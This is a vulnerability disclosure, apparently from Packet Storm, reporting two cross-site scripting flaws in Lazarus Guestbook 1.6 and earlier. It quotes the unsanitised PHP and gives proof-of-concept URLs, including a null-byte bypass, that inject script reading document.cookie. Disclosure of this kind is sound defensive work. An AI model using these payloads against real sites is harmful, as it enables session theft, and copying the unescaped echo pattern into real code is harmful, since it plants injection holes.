Lazarus Guestbook versions 1.6 and below suffer from cross site scripting flaws.
737cc64ab8a5884e74d15fce2f58e8d64b236689a7de31c82a0c91afa767d538Produce : Lazarus Guestbook
Website : http://carbonize.co.uk/Lazarus/
Version : <= 1.6
Problem : Cross Site Scripting
1)
The first probleme is in codes-english.php ,"show" parameter in lang/codes-english.php isn't properly sanitised
This can be exploited to execute arbitrary HTML and javascript code
Vulnerable code in lang/codes-english.php near line 4
1 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
2 <html>
3 <head>
4 <title><?php echo($_GET['show']); ?></title>
Exploit :
http://localhost/lazarusgb/lang/codes-english.php?show=%3C/title%3E[XSS]
http://localhost/lazarusgb/lang/codes-english.php?show=%3C/title%3E<script>alert(document.cookie);</script>
2)
the seconde probleme is in picture.php , the script verifiy fist if image file exists
after it display it ,
vulnerable code : in picture.php
********************************
24 if (!empty($_GET['img'])) {
26 if (file_exists("$GB_TMP/$_GET[img]")) {
27 $size = @GetImageSize("$GB_TMP/$_GET[img]");
28 $picture = "$GB_PG[base_url]/$GB_TMP/$_GET[img]";
29 }
.. ............
49 <td align="center" valign="middle">
50 <?php
51 if (!empty($_GET['img']) && is_array($size)) {
52 echo "<a href=\"javascript:window.close()\"><img src=\"$picture\" width=\"$size[0]\" height=\"$size[1]\" border=\"0\"></a>\n";
53 }
54 ?>
55 </td>
****************
if magic_quote_gpc = OFF we can bypass this protection by specifing existing image file ( Exemple : "img/home.gif") and using a nullchar ( %00 )
POC : http://localhost/lazarusgb/picture.php?img=../img/home.gif%00[code]
file_exists("$GB_TMP/$_GET[img]") will return true and html code will be executed
Exploit:
http://localhost/lazarusgb/picture.php?img=../img/home.gif%00%22%3E[XSS]
http://localhost/lazarusgb/picture.php?img=../img/home.gif%00%22%3E<script>alert(document.cookie);</script>
Contact : simo64[at]gmail[dot]com
Moroccan Security Research Team
© 2024 Packet Storm. All rights reserved.
%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)){kind=small}
Follow us on Twitter
Follow us on Facebook
Subscribe to an RSS Feed